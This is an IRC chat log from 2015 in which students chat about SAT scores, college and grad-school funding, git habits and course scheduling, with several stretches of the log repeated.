[2015-04-01T22:10:37-0400] <JacobEdelman> ish
[2015-04-01T22:10:46-0400] <JacobEdelman> it now is saying something is wrong with the vagrant file's syntex
[2015-04-01T22:10:48-0400] <JacobEdelman> *syntax
[2015-04-01T22:10:52-0400] <JacobEdelman> which is soemthing I can fix
[2015-04-01T22:10:56-0400] <JacobEdelman> yeah, i shall sleep now
[2015-04-01T22:14:32-0400] <jake> oh yay SAT scores tomorrow
[2015-04-01T22:15:08-0400] <+awe> z3t: how do you think you did?
[2015-04-01T22:15:57-0400] <JacobEdelman> awe: its in his nick
[2015-04-01T22:16:01-0400] <JacobEdelman> he thinks he got a 3
[2015-04-01T22:16:04-0400] <+awe> Oh, fair enough.
[2015-04-01T22:16:12-0400] <JacobEdelman> which is 4 better than I got
[2015-04-01T22:16:19-0400] <JacobEdelman> I think
[2015-04-01T22:16:28-0400] <+awe> Also, I feel like you're not nearly as excited as you should be about me taking a class with someone who does major work on neural nets.
[2015-04-01T22:16:36-0400] <JacobEdelman> I was working on do
[2015-04-01T22:16:38-0400] <JacobEdelman> and tired
[2015-04-01T22:16:44-0400] <JacobEdelman> lemme actually look at the person now
[2015-04-01T22:16:58-0400] <+awe> She's a Jewish lady.
[2015-04-01T22:17:19-0400] <z3t> you need excitement awe?
[2015-04-01T22:17:28-0400] <JacobEdelman> awe: oh god
[2015-04-01T22:17:31-0400] <z3t> YEAH AWE WOOOO YOU'RE WORKING WITH SOME JEWISH LADY!!! WOO!
[2015-04-01T22:17:34-0400] <fwilson> wat
[2015-04-01T22:17:36-0400] <fwilson> ok
[2015-04-01T22:17:45-0400] <JacobEdelman> awe: she's one of those people who looks like they are complete egocentric crackpots
[2015-04-01T22:17:54-0400] <JacobEdelman> but is actually humble and even smarter than they sound
[2015-04-01T22:18:43-0400] <JacobEdelman> wo
[2015-04-01T22:18:45-0400] <JacobEdelman> *wow
[2015-04-01T22:18:47-0400] <JacobEdelman> now, gnight
[2015-04-01T22:22:51-0400] Mode is +nt
[2015-04-01T22:23:43-0400] <+awe> JacobEdelman: so, she looks like you?
[2015-04-01T22:23:54-0400] <fwilson> rekt?
[2015-04-01T22:23:59-0400] <+awe> That's not really an insult.
[2015-04-01T22:24:04-0400] <fwilson> it's not
[2015-04-01T22:24:07-0400] <fwilson> true
[2015-04-01T22:26:08-0400] <z3t> I start 100 python processes and they start throwing memoryerrors
[2015-04-01T22:26:11-0400] <z3t> this box makes no sense
[2015-04-01T22:26:29-0400] <+awe> JacobEdelman is just really eccentric, and he knows it.
[2015-04-01T22:26:42-0400] <+awe> He also sounds like a bumbling idiot sometimes, but is actually very, very smart.
[2015-04-01T22:28:25-0400] <z3t> I've witnessed him destroy 2 irc channels, I'm pretty sure he is in fact an idiot.
[2015-04-01T22:28:47-0400] <jwoglom> that does take skill, however
[2015-04-01T22:29:44-0400] <LittleBobbyTables> Not necessarily, awe.
[2015-04-01T22:29:58-0400] <LittleBobbyTables> He can give great insight, but that doesn't mean he knows why it's great.
[2015-04-01T22:35:49-0400] <JacobEdelman> I'm an idiot pretending to be a genius pretending to be an idiot pretending to be a ... Oh shiny!
[2015-04-01T22:36:07-0400] • JacobEdelman: runs off, distracted by a shiny
[2015-04-01T22:36:17-0400] <LittleBobbyTables> 7:35 PM <JacobEdelman> I'm an idiot
[2015-04-01T22:37:01-0400] <JacobEdelman> Oh, dat west cost time
[2015-04-01T22:37:03-0400] <JacobEdelman> Gnight
[2015-04-01T22:37:18-0400] <+awe> JacobEdelman: It's okay. I know the reality is that you're smart.
[2015-04-01T22:37:40-0400] <z3t> LittleBobbyTables: You press /r/thebutton yet?
[2015-04-01T22:37:46-0400] <LittleBobbyTables> Nope.
[2015-04-01T22:37:48-0400] <LittleBobbyTables> I'm not going to.
[2015-04-01T22:37:51-0400] <z3t> Good.
[2015-04-01T22:38:01-0400] <JacobEdelman> Awe: Really, thanks! I've always wondered what the truth was :P
[2015-04-01T22:38:02-0400] <LittleBobbyTables> Half Life 3 gets released when the timer hits 0.
[2015-04-01T22:38:25-0400] <z3t> watch there be some javascript trickery making sure it never hits 0...
[2015-04-01T22:39:11-0400] <+awe> z3t: no, it's just that a game gets released every five seconds on Steam.
[2015-04-01T22:39:18-0400] <jwoglom> fwiw, i was tethering with my laptop and my connection dropped
[2015-04-01T22:39:23-0400] <jwoglom> and nothing happened when it hit 0 :P
[2015-04-01T22:39:52-0400] <LittleBobbyTables> That's because you had no connection.
[2015-04-01T22:50:56-0400] <z3t> anyone know how to point a domain to a subfolder on an apache server
[2015-04-01T22:51:13-0400] <jwoglom> z3t: virtualhosts?
[2015-04-01T22:54:00-0400] <z3t> oh tru ty
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[2015-04-01T23:04:14-0400] <jake> I hate hotel wifi
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[2015-04-01T23:41:43-0400] <LittleBobbyTables> As a wise man named Arnold once said, "Stop Whining"
[2015-04-01T23:47:25-0400] <z3t> sh
[2015-04-01T23:49:24-0400] <z3t> I also hate php
[2015-04-01T23:50:35-0400] <LittleBobbyTables> Join the club
[2015-04-01T23:52:04-0400] <ubuntor> but php exploits are fun
[2015-04-01T23:52:30-0400] <alokpathy> I think we talked about this before with C xD
[2015-04-01T23:52:35-0400] <alokpathy> Exploiting it is fun
[2015-04-01T23:52:43-0400] <alokpathy> Writing it so it won't be exploited is not
[2015-04-02T00:01:38-0400] <Pharyngeal> Hello!
[2015-04-02T00:01:45-0400] <alokpathy> Pharyngeal: Hello there!
[2015-04-02T00:01:50-0400] <Pharyngeal> How goes it?
[2015-04-02T00:01:55-0400] <alokpathy> Swell.
[2015-04-02T00:02:01-0400] <alokpathy> Deciding colleges.
[2015-04-02T00:02:23-0400] <alokpathy> You?
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[2015-04-02T00:09:43-0400] <z3t> why can't people be awake so I can sniff the wifi :(
[2015-04-02T00:09:56-0400] <alokpathy> z3t: You can sniff my wifi.
[2015-04-02T00:10:07-0400] <Pharyngeal> alokpathy: What are the choices?
[2015-04-02T00:10:10-0400] <z3t> aw you're too kind
[2015-04-02T00:10:15-0400] <Pharyngeal> I'm doing some django stuffs
[2015-04-02T00:10:25-0400] <alokpathy> Pharyngeal: UIUC and GTech.
[2015-04-02T00:10:33-0400] <alokpathy> z3t: I try :')
[2015-04-02T00:10:37-0400] <z3t> you visit gtech?
[2015-04-02T00:10:48-0400] <Pharyngeal> Ah! I applied to UIUC 
[2015-04-02T00:10:53-0400] <alokpathy> z3t: Not yet. I will soon.
[2015-04-02T00:10:59-0400] <Pharyngeal> (Three years ago)
[2015-04-02T00:11:07-0400] <alokpathy> Pharyngeal: Didn't like it? :P
[2015-04-02T00:11:34-0400] <Pharyngeal> alokpathy: I was actually considering it heavily, until I got into a new program here
[2015-04-02T00:11:40-0400] <Pharyngeal> (which I dropped out of :P ) 
[2015-04-02T00:11:55-0400] <alokpathy> Oh dang XD
[2015-04-02T00:12:09-0400] <Pharyngeal> I actually reviewed my application today
[2015-04-02T00:12:10-0400] <z3t> http://puu.sh/gYvYa/6b6318c8d8.png
[2015-04-02T00:12:11-0400] <Pharyngeal> How interesting
[2015-04-02T00:12:13-0400] <z3t> "available soon"
[2015-04-02T00:12:13-0400] <fwilson> lolphp
[2015-04-02T00:12:15-0400] <z3t> ffs
[2015-04-02T00:12:16-0400] <fwilson> z3t: IKR
[2015-04-02T00:12:19-0400] <fwilson> 8AM EST
[2015-04-02T00:12:19-0400] <Pharyngeal> lolsat
[2015-04-02T00:12:23-0400] <z3t> 8am?
[2015-04-02T00:12:23-0400] <alokpathy> Pharyngeal: Didn't apply to GTech I assume :P
[2015-04-02T00:12:25-0400] <z3t> Fuck that
[2015-04-02T00:12:29-0400] <fwilson> yeah
[2015-04-02T00:12:37-0400] <fwilson> z3t: i'm pretty sure i got >750 on the math part this time
[2015-04-02T00:12:41-0400] <fwilson> i am very happy
[2015-04-02T00:12:43-0400] <fwilson> but
[2015-04-02T00:12:45-0400] <fwilson> no scores yet ;_;
[2015-04-02T00:12:45-0400] <z3t> I think I did too
[2015-04-02T00:12:47-0400] <fwilson> you know they have them
[2015-04-02T00:12:52-0400] <fwilson> they just aren't giving them to us
[2015-04-02T00:12:55-0400] <fwilson> #ddoscollegeboard
[2015-04-02T00:12:57-0400] <alokpathy> SAT math is so annoying .-.
[2015-04-02T00:12:57-0400] <z3t> reading I probably got like ~600 :L
[2015-04-02T00:13:01-0400] <fwilson> ikr
[2015-04-02T00:13:11-0400] <z3t> essay I think I did well on
[2015-04-02T00:13:15-0400] <Pharyngeal> alokpathy: Nah
[2015-04-02T00:13:22-0400] <fwilson> z3t: want to illegally talk about the essay topic
[2015-04-02T00:13:26-0400] <alokpathy> Pharyngeal: Any reason why
[2015-04-02T00:13:29-0400] <alokpathy> ?
[2015-04-02T00:13:30-0400] <z3t> why is it annoying alokpathy?
[2015-04-02T00:13:32-0400] <Pharyngeal> Not particularly
[2015-04-02T00:13:34-0400] <z3t> fwilson: ofc
[2015-04-02T00:13:37-0400] <Pharyngeal> I applied to a bunch of others
[2015-04-02T00:13:40-0400] <fwilson> z3t: unfortunately i have too much integrity
[2015-04-02T00:13:43-0400] <Pharyngeal> So that'd just be another school
[2015-04-02T00:13:43-0400] <fwilson> otherwise i would
[2015-04-02T00:13:45-0400] <z3t> fwilson: jerk
[2015-04-02T00:13:47-0400] <fwilson> sorry :(
[2015-04-02T00:13:55-0400] <fwilson> but
[2015-04-02T00:13:56-0400] <Pharyngeal> alokpathy: Oh, I also didn't want to be far away, cause I (at the time) had a girlfriend at home
[2015-04-02T00:13:59-0400] <fwilson> public conversation
[2015-04-02T00:14:00-0400] • Pharyngeal: is a fool.
[2015-04-02T00:14:01-0400] <fwilson> real name
[2015-04-02T00:14:03-0400] <fwilson> :
[2015-04-02T00:14:05-0400] <fwilson> \
[2015-04-02T00:14:06-0400] <alokpathy> z3t: It's easy to screw up stupidly, though that may just be me.
[2015-04-02T00:14:15-0400] <alokpathy> Pharyngeal: Ah, see, I want to go away xD
[2015-04-02T00:14:21-0400] <alokpathy> I've had enough of the northeast :P
[2015-04-02T00:14:34-0400] <z3t> I usually have like 10 minutes left after finishing the math section
[2015-04-02T00:14:37-0400] <Pharyngeal> alokpathy: Yeah, I can understand that. 
[2015-04-02T00:14:40-0400] <Pharyngeal> alokpathy: Where are you from?
[2015-04-02T00:14:51-0400] <alokpathy> Pharyngeal: Jersey. I'm your neighbor :P
[2015-04-02T00:15:29-0400] <z3t> it's also nice because I don't get the experimental section, shorter test :)
[2015-04-02T00:15:39-0400] <alokpathy> z3t: I usually do, but I always make some sort of mistake along the way that could have easily been avoided.
[2015-04-02T00:15:47-0400] <alokpathy> z3t: Shorter test?
[2015-04-02T00:16:07-0400] <z3t> they always throw in an experimental section that doesn't count
[2015-04-02T00:16:09-0400] <z3t> I don't have that one
[2015-04-02T00:16:16-0400] <alokpathy> But why?
[2015-04-02T00:16:25-0400] <alokpathy> I always had that section, lol
[2015-04-02T00:16:29-0400] <z3t> I'm legally blind so I have a few accomidations like that 
[2015-04-02T00:16:36-0400] <Pharyngeal> Oh right. Have you come here a bunch of times, like the others?
[2015-04-02T00:16:43-0400] <fwilson> z3t: oh
[2015-04-02T00:16:47-0400] <fwilson> i know which one was the experimental on mine
[2015-04-02T00:16:53-0400] <alokpathy> z3t: Oh, I see.
[2015-04-02T00:16:55-0400] <fwilson> there was a question with no syntactically correct answer lol
[2015-04-02T00:17:03-0400] <alokpathy> Pharyngeal: Mhm. I've been there basically as many times as JacobEdelman 
[2015-04-02T00:17:05-0400] <z3t> I don't see ;(
[2015-04-02T00:17:11-0400] <Pharyngeal> ah, sorry I haven't come by
[2015-04-02T00:17:26-0400] <alokpathy> Pharyngeal: It's alright. You're still around on #pdgn :P
[2015-04-02T00:18:19-0400] <Pharyngeal> :P
[2015-04-02T00:22:49-0400] <z3t> Imma go sleep, gl @ 8am fwilson, and gn all.
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[2015-04-02T00:22:54-0400] <fwilson> heh
[2015-04-02T00:36:35-0400] <+awe> alokpathy: go to GT.
[2015-04-02T00:37:35-0400] <alokpathy> I'm leaning towards it, yeah.
[2015-04-02T00:37:41-0400] <alokpathy> Any reason why GT > UIUC, though?
[2015-04-02T00:37:45-0400] <alokpathy> Like in your opinion
[2015-04-02T00:40:47-0400] <+awe> You don't want the snow. Trust me.
[2015-04-02T00:41:06-0400] <bob_twinkles> <3 snow
[2015-04-02T00:41:14-0400] <+awe> bob_twinkles: Trust me, you don't want it either.
[2015-04-02T00:41:23-0400] <+awe> bob_twinkles: I liked snow too, and then I got to Massachusetts.
[2015-04-02T00:41:26-0400] <LittleBobbyTables> I want snow.
[2015-04-02T00:41:29-0400] <bob_twinkles> it keeps the computers cold though
[2015-04-02T00:41:36-0400] <alokpathy> Oh I thought you'd have a long speech sort of thing XD
[2015-04-02T00:41:39-0400] <bob_twinkles> I literally didn't apply anywhere warm
[2015-04-02T00:41:41-0400] <alokpathy> And, yeah, weather is a factor :P
[2015-04-02T00:41:50-0400] <+awe> alokpathy: my advice would be to check if there's any professors doing what you want to do at either school.
[2015-04-02T00:42:05-0400] <alokpathy> awe: Oh, right
[2015-04-02T00:42:06-0400] <+awe> alokpathy: try to find some indication of how willing to work with undergrads they are, too.
[2015-04-02T00:42:26-0400] <alokpathy> awe: Yeah I've been looking into that. GT is pretty open to it apparently.
[2015-04-02T00:42:33-0400] <+awe> Most research unis are.
[2015-04-02T00:42:39-0400] <alokpathy> awe: And, according to Aayush, so it UIUC.
[2015-04-02T00:42:42-0400] <alokpathy> is*
[2015-04-02T00:42:47-0400] <alokpathy> Yeah, lol
[2015-04-02T00:42:51-0400] <+awe> I meant look at the specific professors though.
[2015-04-02T00:42:57-0400] <alokpathy> Tru
[2015-04-02T00:43:02-0400] <+awe> Find how willing particular professors you're interested in are.
[2015-04-02T00:43:14-0400] <+awe> Because the school might provide lots of research opportunities, but it might only be lousy ones.
[2015-04-02T00:43:43-0400] <alokpathy> Ah, true.
[2015-04-02T00:43:54-0400] <alokpathy> I'll look into that.
[2015-04-02T00:43:57-0400] <alokpathy> Thanks!
[2015-04-02T00:46:16-0400] <LittleBobbyTables> If you got the choice to move somewhere that constantly snows, but has  a great CS degree and party scene, for a pretty big discount, would you do it
[2015-04-02T00:46:33-0400] <alokpathy> That's basically UIUC except the discount part :P
[2015-04-02T00:46:36-0400] <LittleBobbyTables> :P
[2015-04-02T00:46:41-0400] <alokpathy> Actually though
[2015-04-02T00:46:46-0400] <alokpathy> UIUC gave me literally 0 aid.
[2015-04-02T00:47:20-0400] <alokpathy> Also what do you define as constant? :P
[2015-04-02T00:47:27-0400] <alokpathy> Like, actually constant
[2015-04-02T00:47:30-0400] <alokpathy> or like very frequent
[2015-04-02T00:47:32-0400] <LittleBobbyTables> ^
[2015-04-02T00:47:40-0400] <alokpathy> And how much?
[2015-04-02T00:50:32-0400] <alokpathy> Wait, so, out of curiosity
[2015-04-02T00:50:42-0400] <alokpathy> when somebody goes to grad school to get a PhD
[2015-04-02T00:50:51-0400] <alokpathy> do they both pay for the school and get a stipend? o.O
[2015-04-02T00:51:21-0400] <alokpathy> Well out of curiosity and importance too xD
[2015-04-02T00:58:12-0400] <+awe> alokpathy: There's a defined cost for tuition, and you'll need money for housing and food on top of that.
[2015-04-02T00:58:33-0400] <+awe> alokpathy: You're able to apply for funding in various forms. Sometimes from organizations, sometimes from the school, etc.
[2015-04-02T00:58:46-0400] <+awe> alokpathy: It's also possible that the school might offer you a fellowship (funding without an application) as part of your admission.
[2015-04-02T00:59:20-0400] <+awe> alokpathy: You can get partial funding which covers some of tuition with no stipends.
[2015-04-02T00:59:35-0400] <+awe> alokpathy: Or you can get full funding which covers full tuition and includes a stipend.
[2015-04-02T00:59:54-0400] <+awe> alokpathy: Your funding source determines how large your stipend is, and so that's also closely related to field of study.
[2015-04-02T01:00:15-0400] <+awe> alokpathy: A humanities major might make $10,000/year in stipends, while an engineering major might make $20,000/year.
[2015-04-02T01:00:34-0400] <+awe> (And considering $10,000 is below the poverty line for a single person, it's a big difference.)
[2015-04-02T01:01:47-0400] <+awe> Funding is far from automatic, but if you're attending a top school, you likely have a good chance of getting it since the schools have larger endowments to do their own funding, and external organizations are most interested in high-ranking institutions (because after all, those ranks are basically indicators of papers published per year)
[2015-04-02T01:03:04-0400] <+awe> LittleBobbyTables: I wouldn't. It's not worth it.
[2015-04-02T01:03:18-0400] <+awe> LittleBobbyTables: Well, really depends on the discount.
[2015-04-02T01:04:02-0400] <+awe> LittleBobbyTables: I mean, I'll put it this way: I'm willing to go to Penn or Cornell (the latter of which is especially fitting of your description) because they have type systems research and good funding opportunities.
[2015-04-02T01:06:43-0400] <alokpathy> awe: Ah, okay. Makes sense.
[2015-04-02T01:07:12-0400] <+awe> You're welcome for all dat knowledge droppage, but now I must go to sleep.
[2015-04-02T01:07:24-0400] <alokpathy> Thanks XD
[2015-04-02T01:07:29-0400] <alokpathy> and, yeah, I should too.
[2015-04-02T01:07:32-0400] <alokpathy> awe: G'night!
[2015-04-02T01:07:39-0400] <+awe> If you have more questions, I can explain more about it to you later.
[2015-04-02T01:07:45-0400] <+awe> Good night!
[2015-04-02T01:14:35-0400] <LittleBobbyTables> awe: 50 bucks a year
[2015-04-02T01:14:49-0400] <LittleBobbyTables> tuition, that is.
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[2015-04-02T03:25:27-0400] <Pharyngeal> Ugh, my partner committed an sqlite database and .DS_Store to my repo =/
[2015-04-02T03:39:18-0400] <bob_twinkles> whups
[2015-04-02T03:39:31-0400] <bob_twinkles> Pharyngeal: history-deleting rebase time!
[2015-04-02T03:39:40-0400] <Pharyngeal> Yeah =/
[2015-04-02T03:40:12-0400] <Pharyngeal> Honestly, this project isn't open. Before it becomes open, I'll probably heavily edit the source tree, or just start a new .git/ 
[2015-04-02T03:40:45-0400] <bob_twinkles> heh
[2015-04-02T03:41:04-0400] <Pharyngeal> I've grown to hate coding in groups here
[2015-04-02T03:41:05-0400] <bob_twinkles> it's still a pain in the ass if you ever have to clone the repo on to a new machine though (well, depending on the size of the file)
[2015-04-02T03:41:12-0400] <Pharyngeal> My partners are ofthen... behind.
[2015-04-02T03:41:17-0400] <Pharyngeal> often*
[2015-04-02T03:41:25-0400] <bob_twinkles> =(
[2015-04-02T03:42:03-0400] <bob_twinkles> I assume .DS_Store and *.sqlite are now in your .gitignore?
[2015-04-02T03:42:05-0400] <Pharyngeal> In one course, my partners are having the hardest time understanding what an ORM is for/does
[2015-04-02T03:42:30-0400] <bob_twinkles> nothing! Real Men Write SQL By Hand!
[2015-04-02T03:42:36-0400] <bob_twinkles> no fool would ever use an ORM!
[2015-04-02T03:43:10-0400] <Pharyngeal> :P
[2015-04-02T03:43:47-0400] <bob_twinkles> in their defence, most ORMs (especially in dynamic languages) do a _lot_ of magic
[2015-04-02T03:44:18-0400] <Pharyngeal> Yes
[2015-04-02T03:44:29-0400] <Pharyngeal> But they don't even understand the concept
[2015-04-02T03:44:35-0400] <Pharyngeal> i.e. "Where do I write the query"
[2015-04-02T03:45:00-0400] <bob_twinkles> that sounds like a big bucket of no fun at all
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[2015-04-02T07:23:52-0400] <fwilson> SAT scores are out btw
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[2015-04-02T07:34:09-0400] <JacobEdelman> gmorning all
[2015-04-02T07:34:47-0400] <fwilson> hi
[2015-04-02T07:35:22-0400] <JacobEdelman> hello
[2015-04-02T07:57:09-0400] <Tamini_> lol
[2015-04-02T07:57:20-0400] <Tamini_> oh is this the sats you skipped codegate for
[2015-04-02T07:57:28-0400] <Tamini_> what did you get fwilson
[2015-04-02T08:11:05-0400] <JacobEdelman> also
[2015-04-02T08:11:09-0400] <JacobEdelman> I evovled a baseball
[2015-04-02T08:11:19-0400] <JacobEdelman> https://usercontent.irccloud-cdn.com/file/WAQ3pVEn/best.jpg
[2015-04-02T08:11:25-0400] <JacobEdelman> It actually looks like a baseball!
[2015-04-02T08:11:27-0400] <JacobEdelman> yeah!
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[2015-04-02T10:36:20-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-02T01:00:15-0400] <+awe> alokpathy: A humanities major might make $10,000/year in stipends, while an engineering major might make $20,000/year.
[2015-04-02T01:00:34-0400] <+awe> (And considering $10,000 is below the poverty line for a single person, it's a big difference.)
[2015-04-02T01:01:46-0400] <+awe> Funding is far from automatic, but if you're attending a top school, you likely have a good chance of getting it since the schools have larger endowments to do their own funding, and external organizations are most interested in high-ranking institutions (because after all, those ranks are basically indicators of papers published per year)
[2015-04-02T01:03:03-0400] <+awe> LittleBobbyTables: I wouldn't. It's not worth it.
[2015-04-02T01:03:18-0400] <+awe> LittleBobbyTables: Well, really depends on the discount.
[2015-04-02T01:04:02-0400] <+awe> LittleBobbyTables: I mean, I'll put it this way: I'm willing to go to Penn or Cornell (the latter of which is especially fitting of your description) because they have type systems research and good funding opportunities.
[2015-04-02T01:06:43-0400] <alokpathy> awe: Ah, okay. Makes sense.
[2015-04-02T01:07:11-0400] <+awe> You're welcome for all dat knowledge droppage, but now I must go to sleep.
[2015-04-02T01:07:24-0400] <alokpathy> Thanks XD
[2015-04-02T01:07:29-0400] <alokpathy> and, yeah, I should too.
[2015-04-02T01:07:32-0400] <alokpathy> awe: G'night!
[2015-04-02T01:07:39-0400] <+awe> If you have more questions, I can explain more about it to you later.
[2015-04-02T01:07:44-0400] <+awe> Good night!
[2015-04-02T01:14:35-0400] <LittleBobbyTables> awe: 50 bucks a year
[2015-04-02T01:14:48-0400] <LittleBobbyTables> tuition, that is.
[2015-04-02T03:25:27-0400] <Pharyngeal> Ugh, my partner committed an sqlite database and .DS_Store to my repo =/
[2015-04-02T03:39:18-0400] <bob_twinkles> whups
[2015-04-02T03:39:31-0400] <bob_twinkles> Pharyngeal: history-deleting rebase time!
[2015-04-02T03:39:40-0400] <Pharyngeal> Yeah =/
[2015-04-02T03:40:12-0400] <Pharyngeal> Honestly, this project isn't open. Before it becomes open, I'll probably heavily edit the source tree, or just start a new .git/ 
[2015-04-02T03:40:45-0400] <bob_twinkles> heh
[2015-04-02T03:41:04-0400] <Pharyngeal> I've grown to hate coding in groups here
[2015-04-02T03:41:05-0400] <bob_twinkles> it's still a pain in the ass if you ever have to clone the repo on to a new machine though (well, depending on the size of the file)
[2015-04-02T03:41:12-0400] <Pharyngeal> My partners are ofthen... behind.
[2015-04-02T03:41:17-0400] <Pharyngeal> often*
[2015-04-02T03:41:25-0400] <bob_twinkles> =(
[2015-04-02T03:42:03-0400] <bob_twinkles> I assume .DS_Store and *.sqlite are now in your .gitignore?
[2015-04-02T03:42:05-0400] <Pharyngeal> In one course, my partners are having the hardest time understanding what an ORM is for/does
[2015-04-02T03:42:30-0400] <bob_twinkles> nothing! Real Men Write SQL By Hand!
[2015-04-02T03:42:36-0400] <bob_twinkles> no fool would ever use an ORM!
[2015-04-02T03:43:10-0400] <Pharyngeal> :P
[2015-04-02T03:43:47-0400] <bob_twinkles> in their defence, most ORMs (especially in dynamic languages) do a _lot_ of magic
[2015-04-02T03:44:18-0400] <Pharyngeal> Yes
[2015-04-02T03:44:29-0400] <Pharyngeal> But they don't even understand the concept
[2015-04-02T03:44:35-0400] <Pharyngeal> i.e. "Where do I write the query"
[2015-04-02T03:45:00-0400] <bob_twinkles> that sounds like a big bucket of no fun at all
[2015-04-02T07:23:52-0400] <fwilson> SAT scores are out btw
[2015-04-02T07:34:09-0400] <JacobEdelman> gmorning all
[2015-04-02T07:34:47-0400] <fwilson> hi
[2015-04-02T07:35:22-0400] <JacobEdelman> hello
[2015-04-02T07:57:09-0400] <Tamini_> lol
[2015-04-02T07:57:20-0400] <Tamini_> oh is this the sats you skipped codegate for
[2015-04-02T07:57:28-0400] <Tamini_> what did you get fwilson
[2015-04-02T08:11:05-0400] <JacobEdelman> also
[2015-04-02T08:11:09-0400] <JacobEdelman> I evovled a baseball
[2015-04-02T08:11:19-0400] <JacobEdelman> https://usercontent.irccloud-cdn.com/file/WAQ3pVEn/best.jpg
[2015-04-02T08:11:25-0400] <JacobEdelman> It actually looks like a baseball!
[2015-04-02T08:11:27-0400] <JacobEdelman> yeah!
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[2015-04-02T10:37:12-0400] <+awe> [03:41:04]  <Pharyngeal>	I've grown to hate coding in groups here
[2015-04-02T10:37:26-0400] <+awe> Pharyngeal: yeah, coding in groups at school is awful.
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[2015-04-02T11:27:17-0400] <JacobEdelman> awe: agreed
[2015-04-02T11:27:40-0400] <JacobEdelman> awe: did you see the new baseball photo?
[2015-04-02T11:27:46-0400] <JacobEdelman> https://usercontent.irccloud-cdn.com/file/WAQ3pVEn/best.jpg
[2015-04-02T11:28:02-0400] <JacobEdelman> I'm eovlving a much better one which I will show you later
[2015-04-02T11:31:18-0400] <+awe> So, I think I'm not going to be able to take that AI class, and instead, I'm going to have to take a totally buns web programming class.
[2015-04-02T11:31:37-0400] <JacobEdelman> awwwwe
[2015-04-02T11:32:27-0400] <+awe> Well, it's not guaranteed, but probably.
[2015-04-02T11:32:56-0400] <JacobEdelman> okay
[2015-04-02T11:33:23-0400] <+awe> Which is upsetting, but I really need to take a 300 level CS course next semester.
[2015-04-02T11:34:01-0400] <+awe> And at least the web programming one and another one I'll be taking are both taught by a professor who already knows and likes me.
[2015-04-02T11:34:52-0400] <JacobEdelman> ask him if you can skip
[2015-04-02T11:34:59-0400] <JacobEdelman> or whatever
[2015-04-02T11:42:17-0400] <+awe> It's not a matter of skipping. I need to take a 300 level course and get credit for it.
[2015-04-02T11:43:52-0400] <+awe> Operating Systems conflicts with Intro to Computation. I can't take Software Engineering or Algorithms because I need to take Intro to Computation and Programming Methodologies. Software Engineering also conflicts with Intro to Computation. Artificial Intelligence requires me to be a junior (of which I am a single credit short) and has a significant workload, and so, web programming is the only option.
[2015-04-02T11:44:08-0400] <+awe> Unless I can somehow get credit for 220 without taking it, and then take AI next year.
[2015-04-02T11:44:36-0400] <+awe> 220 == Programming Methodologies == Git, Scala, making programs that are larger than four files and are not built on something they handed you.
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[2015-04-02T12:34:34-0400] <JacobEdelman> wow...
[2015-04-02T12:34:54-0400] <JacobEdelman> ask for credit for 220 without taking it
[2015-04-02T12:34:56-0400] <JacobEdelman> show what you've done
[2015-04-02T12:35:05-0400] <JacobEdelman> try to prove that taking it would be stupid for you
[2015-04-02T12:35:10-0400] <JacobEdelman> or jsut take it and never show up
[2015-04-02T12:35:12-0400] <JacobEdelman> *just
[2015-04-02T12:35:53-0400] <JacobEdelman> I mean, if you do have to take an insanely easy course, either take one with a really amazing prof., or (possible better) take one where tests are most of the grade
[2015-04-02T12:36:00-0400] <JacobEdelman> that way you only have to show up every once in a while
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[2015-04-02T03:42:03-0400] <bob_twinkles> I assume .DS_Store and *.sqlite are now in your .gitignore?
[2015-04-02T03:42:05-0400] <Pharyngeal> In one course, my partners are having the hardest time understanding what an ORM is for/does
[2015-04-02T03:42:30-0400] <bob_twinkles> nothing! Real Men Write SQL By Hand!
[2015-04-02T03:42:36-0400] <bob_twinkles> no fool would ever use an ORM!
[2015-04-02T03:43:10-0400] <Pharyngeal> :P
[2015-04-02T03:43:47-0400] <bob_twinkles> in their defence, most ORMs (especially in dynamic languages) do a _lot_ of magic
[2015-04-02T03:44:18-0400] <Pharyngeal> Yes
[2015-04-02T03:44:29-0400] <Pharyngeal> But they don't even understand the concept
[2015-04-02T03:44:35-0400] <Pharyngeal> i.e. "Where do I write the query"
[2015-04-02T03:45:00-0400] <bob_twinkles> that sounds like a big bucket of no fun at all
[2015-04-02T07:23:52-0400] <fwilson> SAT scores are out btw
[2015-04-02T07:34:09-0400] <JacobEdelman> gmorning all
[2015-04-02T07:34:47-0400] <fwilson> hi
[2015-04-02T07:35:22-0400] <JacobEdelman> hello
[2015-04-02T07:57:09-0400] <Tamini_> lol
[2015-04-02T07:57:20-0400] <Tamini_> oh is this the sats you skipped codegate for
[2015-04-02T07:57:28-0400] <Tamini_> what did you get fwilson
[2015-04-02T08:11:05-0400] <JacobEdelman> also
[2015-04-02T08:11:09-0400] <JacobEdelman> I evovled a baseball
[2015-04-02T08:11:19-0400] <JacobEdelman> https://usercontent.irccloud-cdn.com/file/WAQ3pVEn/best.jpg
[2015-04-02T08:11:25-0400] <JacobEdelman> It actually looks like a baseball!
[2015-04-02T08:11:27-0400] <JacobEdelman> yeah!
[2015-04-02T09:34:25-0400] <apothy> 41
[2015-04-02T09:34:29-0400] <apothy> Shit
[2015-04-02T10:37:12-0400] <+awe> [03:41:04]  <Pharyngeal>	I've grown to hate coding in groups here
[2015-04-02T10:37:26-0400] <+awe> Pharyngeal: yeah, coding in groups at school is awful.
[2015-04-02T11:27:17-0400] <JacobEdelman> awe: agreed
[2015-04-02T11:27:40-0400] <JacobEdelman> awe: did you see the new baseball photo?
[2015-04-02T11:27:46-0400] <JacobEdelman> https://usercontent.irccloud-cdn.com/file/WAQ3pVEn/best.jpg
[2015-04-02T11:28:02-0400] <JacobEdelman> I'm eovlving a much better one which I will show you later
[2015-04-02T11:31:18-0400] <+awe> So, I think I'm not going to be able to take that AI class, and instead, I'm going to have to take a totally buns web programming class.
[2015-04-02T11:31:37-0400] <JacobEdelman> awwwwe
[2015-04-02T11:32:27-0400] <+awe> Well, it's not guaranteed, but probably.
[2015-04-02T11:32:56-0400] <JacobEdelman> okay
[2015-04-02T11:33:23-0400] <+awe> Which is upsetting, but I really need to take a 300 level CS course next semester.
[2015-04-02T11:34:01-0400] <+awe> And at least the web programming one and another one I'll be taking are both taught by a professor who already knows and likes me.
[2015-04-02T11:34:52-0400] <JacobEdelman> ask him if you can skip
[2015-04-02T11:34:59-0400] <JacobEdelman> or whatever
[2015-04-02T11:42:17-0400] <+awe> It's not a matter of skipping. I need to take a 300 level course and get credit for it.
